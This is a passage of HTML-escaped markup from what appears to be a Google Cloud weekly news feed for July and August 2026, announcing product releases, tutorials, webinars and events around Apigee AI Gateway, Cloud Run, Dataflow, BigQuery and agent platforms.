&lt;li&gt;&lt;strong&gt;Dataflow pipeline updates are faster &amp;amp; more flexible&lt;br/&gt;&lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="76" href="https://docs.cloud.google.com/dataflow/docs/guides/upgrade-guide" rel="noreferrer noopener" target="_blank"&gt;Dataflow pipeline updates&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;can now stop-and-replace pipelines, a major addition to the existing in-place-update feature. The new parallel pipeline option accelerates the migration between the old &amp;amp; new pipeline, resulting in reduced disruption to your business. You can also set a timeout on drains that prevents runaway costs for your pipeliness in the event of stuck processing. This feature is generally available. Try it &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="77" href="https://docs.cloud.google.com/dataflow/docs/guides/updating-a-pipeline" rel="noreferrer noopener" target="_blank"&gt;here&lt;/a&gt;!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Aug 17 - Aug 21&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Webinar: Agent Identity as the backbone for secure AI innovation&lt;/strong&gt;&lt;br/&gt;An AI agent with a stolen API key looks identical to a legitimate one. As autonomous agents scale across enterprise systems, static credentials and legacy IAM policies can no longer keep up with machine-speed execution. Join Shaun Liu, Product Manager at Google Cloud, on August 27 at 1 PM ET to explore Google Cloud’s vision for unifying agent, human, and nonhuman identity into a workload-centric platform using verifiable cryptographic identities (SPIFFE, ID-JAG, OAuth).&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="24" href="https://www.brighttalk.com/webcast/18282/673389?utm_source=Social" rel="noreferrer noopener" target="_blank"&gt;Register for the webinar now&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Aug 10 - Aug 14&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Diagnosing Apigee Hybrid Cassandra Read Latency for Peak Performance&lt;br/&gt;&lt;/strong&gt;Diagnose real-time Cassandra read latency and resolve API key verification bottlenecks in Apigee Hybrid with this step-by-step troubleshooting guide. Learn how to deploy a debugging client and query performance tables to maintain sub-millisecond response times. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="16" href="https://goo.gle/4bXcW4w" rel="noreferrer noopener" target="_blank"&gt;&lt;em&gt;Read the Apigee Hybrid Cassandra Troubleshooting Guide&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keep moving with agents! The All Things Agentic Hackathon is officially live.&lt;br/&gt;&lt;/strong&gt;We're challenging builders to build next-generation agents that take on the busy work and handle the heavy lifting in the background using Gemini 3.5 and Google Cloud. Compete for your share of $190,000 in prizes, cash, and Google Cloud credits! Submissions are open from August 3, 2026, to August 31, 2026.&lt;br/&gt;&lt;br/&gt;&lt;a href="allthingsagentichackathon.devpost.com" rel="noopener" target="_blank"&gt;Learn more and register&lt;/a&gt;. &lt;a href="g.dev/cloud/all-things-agentic" rel="noopener" target="_blank"&gt;Sign up&lt;/a&gt; for GEAR to get exclusive updates and your badge. #AllThingsAgenticHackathon&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accelerate PostgreSQL migrations using Gemini in Database Migration Service&lt;br/&gt;&lt;/strong&gt;Enterprise database migrations often stall during the "last mile" of translating legacy stored procedures, triggers, and custom functions from Oracle or SQL Server. Database Migration Service (DMS) now provides AI-assisted code conversion powered by Gemini in Databases. By combining deterministic compiler rules for 1:1 syntax with Gemini contextual synthesis for complex procedural blocks, DMS converts legacy code into native PostgreSQL and AlloyDB with full schema awareness and side-by-side validation.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="21" href="https://cloud.google.com/blog/products/databases/accelerate-postgresql-migrations-with-gemini-in-dms" rel="noreferrer noopener" target="_blank"&gt;Read the full blog post&lt;/a&gt; to learn how to streamline your database code conversion.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compute Flex CUDs now available for G2 and G4 GPU VMs&lt;br/&gt;&lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="28" href="https://cloud.google.com/compute/docs/instances/committed-use-discounts-overview#spend_based" rel="noreferrer noopener" target="_blank"&gt;Compute Flexible Committed Use Discounts (Flex CUDs)&lt;/a&gt; are now available for &lt;strong&gt;G2 (NVIDIA L4) &lt;/strong&gt;and &lt;strong&gt;G4 (NVIDIA RTX Pro 6000) VMs&lt;/strong&gt;. You can now lock in predictable savings while retaining the flexibility to adapt across VM families, migrate between regions, and combine general-purpose compute, GKE, Cloud Run, and G2 &amp;amp; G4 GPU VMs under a single spend commitment. Flex CUDs for G-series VMs let you lock in savings today while preserving the agility to upgrade to latest hardware without disruption!&lt;br/&gt;&lt;br/&gt;Explore&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="29" href="https://cloud.google.com/compute/vm-instance-pricing" rel="noreferrer noopener" target="_blank"&gt; VM instance pricing&lt;/a&gt; or learn more about &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="30" href="https://cloud.google.com/compute/docs/instances/committed-use-discounts-overview#spend_based" rel="noreferrer noopener" target="_blank"&gt;Flex CUDs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rapid Bucket accelerates the training and checkpoint performance in PyTorch Ecosystem via GCSFS&lt;br/&gt;&lt;/strong&gt;With the release of GCSFS &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://github.com/fsspec/gcsfs/releases/tag/2026.8.0" rel="noreferrer noopener" target="_blank"&gt;2026.8.0&lt;/a&gt;, organisations can now unlock maximum ROI from their AI/ML infrastructure by eliminating data starvation on GPUs in PyTorch ecosystem when they are using Frameworks like Dask, Pandas, PyTorch , PyTorch Lightning, Hugging Face Datasets, Ray dataetc. By making adaptive concurrent prefetching the default, GCSFS dynamically predicts and background-fetches sequential read patterns—boosting single-file throughput by 5x, and scaling up to 21 GiB/s , saturating the NIC when paired with &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://docs.cloud.google.com/storage/docs/rapid/rapid-bucket" rel="noreferrer noopener" target="_blank"&gt;Rapid Bucket&lt;/a&gt;. Saturating the NIC translates to significantly improved &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="39" href="https://cloud.google.com/blog/products/ai-machine-learning/goodput-metric-as-measure-of-ml-productivity" rel="noreferrer noopener" target="_blank"&gt;accelerator goodput&lt;/a&gt; and reduced training wait times with zero integration friction. Training and checkpoint restore workflows benefit from intelligent memory management that automatically drains the buffer during random reads to completely avoid bandwidth or memory penalties.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Aug 3 - Aug 7&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Navigate data sovereignty and AI innovation with hybrid cloud&lt;/strong&gt;&lt;br/&gt;For enterprises facing strict compliance rules, keeping sensitive data on-premises often means missing out on cutting-edge AI. Data from the 2026 State of AI Infrastructure report reveals that 52% of IT leaders are adopting hybrid cloud strategies to bridge this gap. Our latest blog post explores how Google Distributed Cloud (GDC) helps organizations deploy connected or air-gapped models to run advanced AI entirely within secure environments—mitigating geopolitical risks without sacrificing innovation. &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="106" href="https://cloud.google.com/blog/topics/hybrid-cloud/state-of-ai-infrastructure-report-on-hybrid-cloud-and-gdc" rel="noreferrer noopener" target="_blank"&gt;Read more&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SAP and Google Cloud Launch BDC Connect for BigQuery&lt;br/&gt;&lt;/strong&gt;For years, enterprises have struggled with the cost, risk, and complexity of moving mission-critical SAP data into advanced analytics platforms. The general availability of SAP Business Data Cloud (BDC) Connect for BigQuery marks a turning point. By introducing revolutionary zero-copy, bi-directional data sharing, this new capability seamlessly bridges SAP systems with Google Cloud's powerful data and AI ecosystem. Instead of wrestling with manual data duplication and lost business context, organizations can now eliminate silos, dramatically lower their analytics costs, and rapidly deploy trustworthy, agentic AI solutions grounded in real-time operational reality. &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="110" href="https://cloud.google.com/blog/products/sap-google-cloud/sap-and-google-cloud-launch-bdc-connect-for-bigquery?e=48754805" rel="noreferrer noopener" target="_blank"&gt;Read the full announcement to learn how to transform your data strategy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Cloud Cortex Framework version 7 is now generally available!&lt;br/&gt;&lt;/strong&gt;This release helps you modernize your data architecture for AI agent readiness, enabling you to quickly deploy, customize, and extend robust data products while simplifying orchestration and reducing infrastructure overhead. It provides &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="130" href="https://docs.cloud.google.com/cortex/docs/data-product#available_data_products" rel="noreferrer noopener" target="_blank"&gt;data product accelerators&lt;/a&gt; for SAP-sourced data to build trusted, high-quality &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="131" href="https://docs.cloud.google.com/cortex/docs/data-product" rel="noreferrer noopener" target="_blank"&gt;data products&lt;/a&gt; ready for advanced analytics and agentic use cases. The Framework integrates with Google Cloud products including &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="132" href="https://docs.cloud.google.com/bigquery/docs" rel="noreferrer noopener" target="_blank"&gt;BigQuery&lt;/a&gt;, &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="133" href="https://docs.cloud.google.com/dataform/docs" rel="noreferrer noopener" target="_blank"&gt;Dataform&lt;/a&gt;, &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="134" href="https://docs.cloud.google.com/dataplex/docs" rel="noreferrer noopener" target="_blank"&gt;Knowledge Catalog&lt;/a&gt;, and &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="135" href="https://cloud.google.com/products/gemini-enterprise-agent-platform" rel="noreferrer noopener" target="_blank"&gt;Gemini Enterprise Agent Platform&lt;/a&gt;. Learn more in our &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="136" href="https://cloud.google.com/blog/products/sap-google-cloud/cortex-framework-v7-power-ai-agents-with-sap-data-faster?e=48754805" rel="noreferrer noopener" target="_blank"&gt;announcement blog&lt;/a&gt;, &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="137" href="https://docs.cloud.google.com/cortex/docs/overview" rel="noreferrer noopener" target="_blank"&gt;technical documentation&lt;/a&gt;, or try a &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="138" href="https://docs.cloud.google.com/cortex/docs/demo-deployment" rel="noreferrer noopener" target="_blank"&gt;demo deployment&lt;/a&gt; today. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From API Management to AI Gateway with Apigee&lt;br/&gt;&lt;/strong&gt;Massive LLM adoption unlocked automation but exposed critical vulnerabilities, from unpredictable token costs to security risks like prompt injection. Without central management, organizations face accelerated technical debt. Learn how to transform Apigee into an enterprise AI Gateway to centralize governance. This architectural roadmap details how to utilize semantic cache to optimize token costs, implement prompt protection policies for security, and productize tools using the emerging MCP standard.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="141" href="https://goo.gle/44PIO7p" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Read the full architectural roadmap on the Apigee Community Hub&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Centrally govern enterprise AI traffic with Apigee AI Gateway&lt;br/&gt;&lt;/strong&gt;Manage, track, and secure model communication across your entire infrastructure from a single pane of glass. In a new video walkthrough, Principal Architect Tyler Ayers demonstrates how Apigee AI Gateway simplifies agentic governance. Learn how to transparently proxy model traffic, log real-time token counts, and apply runtime security quotas without impacting your developer workflow.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="145" href="https://goo.gle/44bBi6q" rel="noreferrer noopener" target="_blank"&gt;Watch the Apigee AI Gateway demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maximize Provisioned Throughput Utilization&lt;br/&gt;&lt;/strong&gt;Sudden traffic micro-spikes can exceed per-second quotas, triggering 429 errors or forcing overflow into shared resource pools. A new architectural guide demonstrates how to build a serverless "shock absorber" using Cloud Run and Google Cloud Tasks. By decoupling request ingestion from execution, this queue-based pattern flattens volatile traffic bursts and smoothly drips requests to Gemini at your exact quota rate, maximizing Provisioned Throughput utilization while eliminating job failures during peak usage. &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="149" href="https://medium.com/google-cloud/smoothing-spiky-llm-traffic-maximize-provisioned-throughput-utilization-with-a-queuing-176753d96818" rel="noreferrer noopener" target="_blank"&gt;Read the step-by-step setup guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eliminate security blindspots in agentic tool interactions&lt;br/&gt;&lt;/strong&gt;Unmonitored agentic tool calls via the Model Context Protocol (MCP) can introduce critical security risks to your enterprise architecture. Join our technical deep dive on Thursday, August 13, to discover how to position Apigee as a centralized security gateway. Featuring the new ParsePayload policy and payload operations groups in API Products, this session demonstrates how to enforce granular tool filtering, manage execution quotas, and scale secure agent ecosystems without impeding developer velocity. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="152" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the August 13 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Jul 27 - Jul 31&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data Cloud and Apigee CDMX: The AI Agent Evolution | August 12, 2026&lt;br/&gt;&lt;/strong&gt;Enterprise AI demands evolution beyond basic conversational assistants. To generate real value, AI models must connect with the organization's core systems and live data sources. Join us this August 12 at &lt;strong&gt;Google CDMX &lt;/strong&gt;for the exclusive event &lt;strong&gt;AI Evolution: Powering Tomorrow's Enterprise&lt;/strong&gt;. Learn how to design an agile and secure ecosystem by unifying the power of Gemini, Apigee, and data agent technologies through practical demonstrations led by Google Cloud engineers.&lt;br/&gt;&lt;br/&gt;Secure your spot for the in-person session in Mexico City &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="34" href="https://goo.gle/3TyS9hg" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register now!&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="48" href="https://vastedge.com/" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Vast Edge&lt;/strong&gt;&lt;/a&gt;, built on GCP, launches the first live recovery interface for cloud backups, enabling IT teams to inspect backup contents in real time. This transforms backups from a blind, log-based process into an interactive platform where teams can &lt;strong&gt;instantly search, preview, and validate the exact data available for restore&lt;/strong&gt;.&lt;br/&gt;&lt;br/&gt;This platform protects Google Workspace, NetSuite, Salesforce, Workday and many SaaS environments, providing complete visibility and enterprise-grade oversight.&lt;br/&gt;&lt;br/&gt;Visit&lt;strong&gt; &lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="49" href="https://vastedge.com/backup-and-disaster-recovery" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Vast Edge Backup &amp;amp; Disaster Recovery&lt;/strong&gt;&lt;/a&gt; and get a free trial of their backup solutions on the GCP Marketplace for&lt;strong&gt; &lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://console.cloud.google.com/marketplace/product/vastedge-public/google-workspace-backup-restore?hl=en" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Google Workspace Backup&lt;/strong&gt;&lt;/a&gt;,&lt;strong&gt; &lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="51" href="https://console.cloud.google.com/marketplace/product/vastedge-public/netsuite-backup-restore?hl=en" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;NetSuite Backup&lt;/strong&gt;&lt;/a&gt;,&lt;strong&gt; &lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="52" href="https://console.cloud.google.com/marketplace/product/vastedge-public/salesforce-backup-restore-vastedge?hl=en" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Salesforce Backup&lt;/strong&gt;&lt;/a&gt;,&lt;strong&gt; &lt;/strong&gt;and&lt;strong&gt; &lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="53" href="https://console.cloud.google.com/marketplace/product/vastedge-public/workday-backup-restore-vastedge?hl=en" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Workday Backup&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Jul 20 - Jul 24&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude Opus 5, Anthropic’s latest model, is now available on Agent Platform.&lt;/strong&gt; It brings performance improvements over Opus 4.8 across coding, long-running agents, and knowledge work.The model is Zero Data Retention (ZDR) compatible. For safety, high-risk workflows — such as penetration testing or exploit generation — it will notify you and fall back to Opus 4.8.We’re excited to continue to offer enterprise customers options across frontier models to build, deploy, and scale AI securely. Try it &lt;a href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-opus-5"&gt;here&lt;/a&gt;. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apigee Northam Roadshow 2026 | The AI Agent Evolution: Powering Tomorrow's Enterprise&lt;br/&gt;&lt;/strong&gt;AI is evolving. As your organization deploys autonomous agents, the integration between APIs and models becomes critical. Join Google Cloud specialists for an exclusive day of deep-dive sessions and live demos. Discover how the unified power of Apigee and the Google Cloud Agent Platform allows you to build, govern, and scale high-performance AI agents with complete control.  Call to Action: &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="93" href="https://goo.gle/4gOIblK" rel="noreferrer noopener" target="_blank"&gt;Register for Sunnyvale&lt;/a&gt; | &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="94" href="https://goo.gle/3TLCPhi" rel="noreferrer noopener" target="_blank"&gt;Register for NYC&lt;/a&gt; | &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="95" href="https://goo.gle/45e67I0" rel="noreferrer noopener" target="_blank"&gt;Register for Chicago&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deploy an Apigee Proxy for MCP Registry Discovery  &lt;br/&gt;&lt;/strong&gt;Learn how to deploy an Apigee X proxy to format Apigee API Hub data into the Model Context Protocol (MCP) Registry format. This tutorial by Tyler Ayers guides developers through cloning the sample repository, deploying using the Apigee Feature Templater (aft), and testing the endpoint to make API data easily discoverable by coding agents. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="99" href="https://goo.gle/3RTus2N" rel="noreferrer noopener" target="_blank"&gt;Read the full community tutorial to get started.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Simplify AI Infrastructure: Getting Started with Apigee AI Gateway&lt;br/&gt;&lt;/strong&gt;Managing a complex AI landscape with multiple backend environments can present significant operational and governance challenges. A new tutorial walks you through how to build a unified API proxy using Apigee AI Gateway. By establishing a single, secure entry point for all model traffic, teams gain access to real-time analytics, comprehensive tracing, and financial operations auditing—completely seamlessly, and with absolutely no modifications required to client environments or user configurations. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="102" href="https://goo.gle/4wI5Por" rel="noreferrer noopener" target="_blank"&gt;Read the step-by-step setup guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Your AI agents are ready. Is your data?&lt;br/&gt;&lt;/strong&gt;The biggest bottleneck to scaling AI isn't the models—it's giving them access to business context. As enterprises move to proactive systems of action, legacy infrastructure often buckles under the nonlinear speed of AI agents. Google Cloud’s new Agentic Data Cloud, built on AI-native infrastructure, solves this by unifying data, AI models, and operational databases. Discover how a borderless Lakehouse and active Knowledge Catalog can empower your AI agents with trusted, real-time context without unnecessary engineering overhead. &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="106" href="https://cloud.google.com/blog/topics/ai-infrastructure/state-of-ai-infrastructure-report-and-the-agentic-data-cloud" rel="noopener" target="_blank"&gt;Read more&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Secure and govern your AI at Apigee AI Horizon in London&lt;br/&gt;&lt;/strong&gt;Moving AI from basic prompts to complex agentic workflows requires trust and control. Join us on Tuesday, 1st September 2026 at Google London for our 5th edition of Apigee AI Horizon. Discover how Google Cloud product leaders and architects are using Apigee and Model Armor to secure LLM APIs, implement policy controls, and manage token consumption. Do not miss this one—register soon!&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="110" href="https://goo.gle/4b8XamT" rel="noreferrer noopener" target="_blank"&gt;Secure your spot for AI Horizon London&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Jul 13 - Jul 17&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Resource-Based CUD Sharing is Now Enabled by Default&lt;/strong&gt;&lt;br/&gt;Starting &lt;strong&gt;June 16, 2026&lt;/strong&gt;, the default setting for Google Cloud &lt;strong&gt;Resource-based Committed Use Discount (CUD)&lt;/strong&gt; sharing will change from disabled to &lt;strong&gt;enabled&lt;/strong&gt; for new billing accounts and eligible existing accounts without active CUDs. This update automatically maximizes your savings by pooling underutilized discounts across your resources.&lt;br/&gt;&lt;br/&gt;You retain full control and can adjust your CUD sharing preferences at any time by changing your CUD scope configuration. For instructions, see &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="49" href="https://docs.cloud.google.com/compute/docs/committed-use-discounts/share-resource-cuds-across-projects#turning-on-committed-use-discount-sharing" rel="noreferrer noopener" target="_blank"&gt;Enable CUD sharing&lt;/a&gt; or &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://docs.cloud.google.com/compute/docs/committed-use-discounts/share-resource-cuds-across-projects#turning-off-committed-use-discount-sharing" rel="noreferrer noopener" target="_blank"&gt;Disable CUD sharing&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Webinar for India: Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale&lt;br/&gt;&lt;/strong&gt;API traffic surges and AI model integration are reshaping the EdTech landscape. Join Satyam Maloo for the webinar&lt;strong&gt; Google Cloud for EdTech: Optimizing Traffic and Token Governance at Scale &lt;/strong&gt;on July 23, 2026. Learn to implement advanced rate limiting, gain granular token visibility, and leverage real-time analytics to govern your platform effectively. Whether you’re scaling for peak academic seasons or integrating complex AI workflows, this session provides the infrastructure blueprint you need.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="53" href="https://goo.gle/4yqrKm0" rel="noreferrer noopener" target="_blank"&gt;Register Now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scaling AI Agents: Treat prompts like software artifacts&lt;br/&gt;&lt;/strong&gt;As AI agents move into production, monolithic system prompts often result in configuration drift, merge conflicts, and silent runtime failures. The solution is adopting a &lt;em&gt;Prompts-as-Code&lt;/em&gt; architecture. By breaking prompts into modular skill files and using a build-time transpiler, engineering teams can introduce dependency resolution, static validation, and CI/CD rigor to their agent's control plane. Stop manually editing massive text files and start building deterministic, reliable agent infrastructure.&lt;br/&gt;&lt;br/&gt;Read more &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="57" href="https://developers.googleblog.com/building-scalable-ai-agents-with-modular-prompt-transpilation/" rel="noreferrer noopener" target="_blank"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Jul 6 - Jul 10&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks&lt;br/&gt;&lt;/strong&gt;Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank"&gt;Register for the webinar now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Safely run AI-generated code in Cloud Run sandboxes&lt;br/&gt;&lt;/strong&gt;Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly &lt;strong&gt;within your existing Cloud Run service instances&lt;/strong&gt;.&lt;br/&gt;&lt;br/&gt;Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;Read the blog&lt;/a&gt;&lt;span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt; to learn more and get started today.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Australia API Horizon: Scaling Enterprise Governed AI Agents&lt;br/&gt;&lt;/strong&gt;The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.&lt;br/&gt;&lt;br/&gt;Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.&lt;br/&gt;&lt;br/&gt;Join us in your preferred city:
&lt;ul&gt;
&lt;li&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Sydney:&lt;/strong&gt; July 28, 2026, at Google Sydney, One Darling Island.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Canberra:&lt;/strong&gt; July 29, 2026, at Hotel Realm.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Melbourne:&lt;/strong&gt; August 4, 2026, at Google Melbourne.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build highly available, multi-region services on Cloud Run&lt;br/&gt;&lt;/strong&gt;Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank"&gt;Learn how to configure service health for Cloud Run.&lt;/a&gt;&lt;/li&gt;
